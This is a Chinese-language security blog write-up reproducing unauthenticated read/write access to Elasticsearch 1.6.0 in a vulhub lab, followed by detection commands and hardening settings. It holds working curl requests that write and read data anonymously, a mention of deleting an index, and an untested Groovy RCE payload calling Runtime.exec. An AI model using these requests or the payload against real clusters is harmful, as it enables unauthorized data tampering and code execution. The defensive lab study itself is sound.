SoulJian 安全笔记与产品
回到笔记
漏洞 漏洞复现 · · 2 分钟

命令实测于 vulhub/elasticsearch:1.6.0 实测 · 匿名写入并读回 lab/doc/1,附 9200 暴露面检查

Elasticsearch 未授权:不用登录就能写数据

实测 vulhub/elasticsearch:1.6.0 —— 无认证读写索引,附 9200 暴露面、Groovy 沙箱 RCE 的前提与检测命令。

实测:9200 端口,没有任何认证

靶标:vulhub/elasticsearch:1.6.0,映射 8092:9200。

一、根路径直接返回集群信息

$ curl -s http://127.0.0.1:8092/
{
  "status" : 200,
  "name" : "Link",
  "cluster_name" : "elasticsearch",
  "version" : {
    ...

没有 401、没有 token。status: 200 就是"匿名可访问"的判据。

version 字段还会告诉你具体版本——1.6.0 属于"默认无认证"的老版本(5.x 之后才引入 X-Pack 安全模块,且默认关闭)。

二、列索引

$ curl -s "http://127.0.0.1:8092/_cat/indices?v"
health status index pri rep docs.count docs.deleted store.size pri.store.size

空集群没有索引,但接口能调通。

这本身就是信息泄露:攻击者能确认"这是一个可写的 ES",而不是"一个只读代理"。

三、匿名写入一条数据

 1$ curl -X POST "http://127.0.0.1:8092/lab/doc/1?pretty" \
 2  -H 'Content-Type: application/json' -d '{"msg":"written-without-auth"}'
 3
 4{
 5  "_index" : "lab",
 6  "_type" : "doc",
 7  "_id" : "1",
 8  "_version" : 1,
 9  "created" : true
10}

"created" : true —— 写成功了。

四、读回来

1$ curl -s "http://127.0.0.1:8092/lab/doc/1?pretty"
2{
3  "_index" : "lab",
4  "_type" : "doc",
5  "_id" : "1",
6  "_version" : 1,
7  "found" : true,
8  ...

"found" : true。

写入 + 读回,全程没有任何凭据。

五、为什么"能写"比"能读"严重

能力影响
读数据泄露(日志、用户信息)
写可以投毒:伪造日志、覆盖索引、塞入假数据
删DELETE /index 一条命令清空

第二条是安全运营里的真实风险:攻击者往 ES 里写假告警,SOC 就会去查错误的方向。

六、Groovy 沙箱 RCE(未实测,只给前提)

ES 1.x 支持 Groovy 脚本,script.disable_dynamic 默认 false 时可执行任意脚本:

POST /_search
{"script":{"inline":"java.lang.Runtime.getRuntime().exec('id')"}}

前提:

前提检查
ES ≤ 1.7curl :9200/ 看 version
script.disable_dynamic: false看 elasticsearch.yml
Groovy 插件存在/_nodes/plugins

本次没有实测 RCE——只验证了未授权读写。 标注清楚,不写成"已 getshell"。

七、检测与排查

# 1. 9200 是否对公网
curl -s -o /dev/null -w "%{http_code}\n" http://target:9200/
# 2. 索引里有没有敏感数据
curl -s "http://target:9200/_cat/indices?v"
# 3. 有没有被投毒(新增的陌生索引)
curl -s "http://target:9200/_cat/indices?v&h=index,docs.count" | sort

第 3 条是事后排查的关键:陌生索引名(如 lab、test)往往是攻击者留下的痕迹。

八、防御

措施说明
只监听 127.0.0.1network.host: 127.0.0.1
启用认证7.x+ 用 xpack.security.enabled: true
反向代理 + 白名单9200 不对公网开放
关闭动态脚本script.disable_dynamic: true(1.x)

第一条最简单也最有效——绝大多数 ES 未授权,都是因为把 network.host 改成了 0.0.0.0。

九、判据汇总

观察结论
GET / 返回 200 + version无认证
_cat/indices 可读可列数据
POST /idx/doc/1 返回 created: true可写(比可读严重)
version ≤ 1.7可能存在 Groovy RCE

四行判据,覆盖了从"存在"到"可写"到"可能 RCE"的完整评估路径。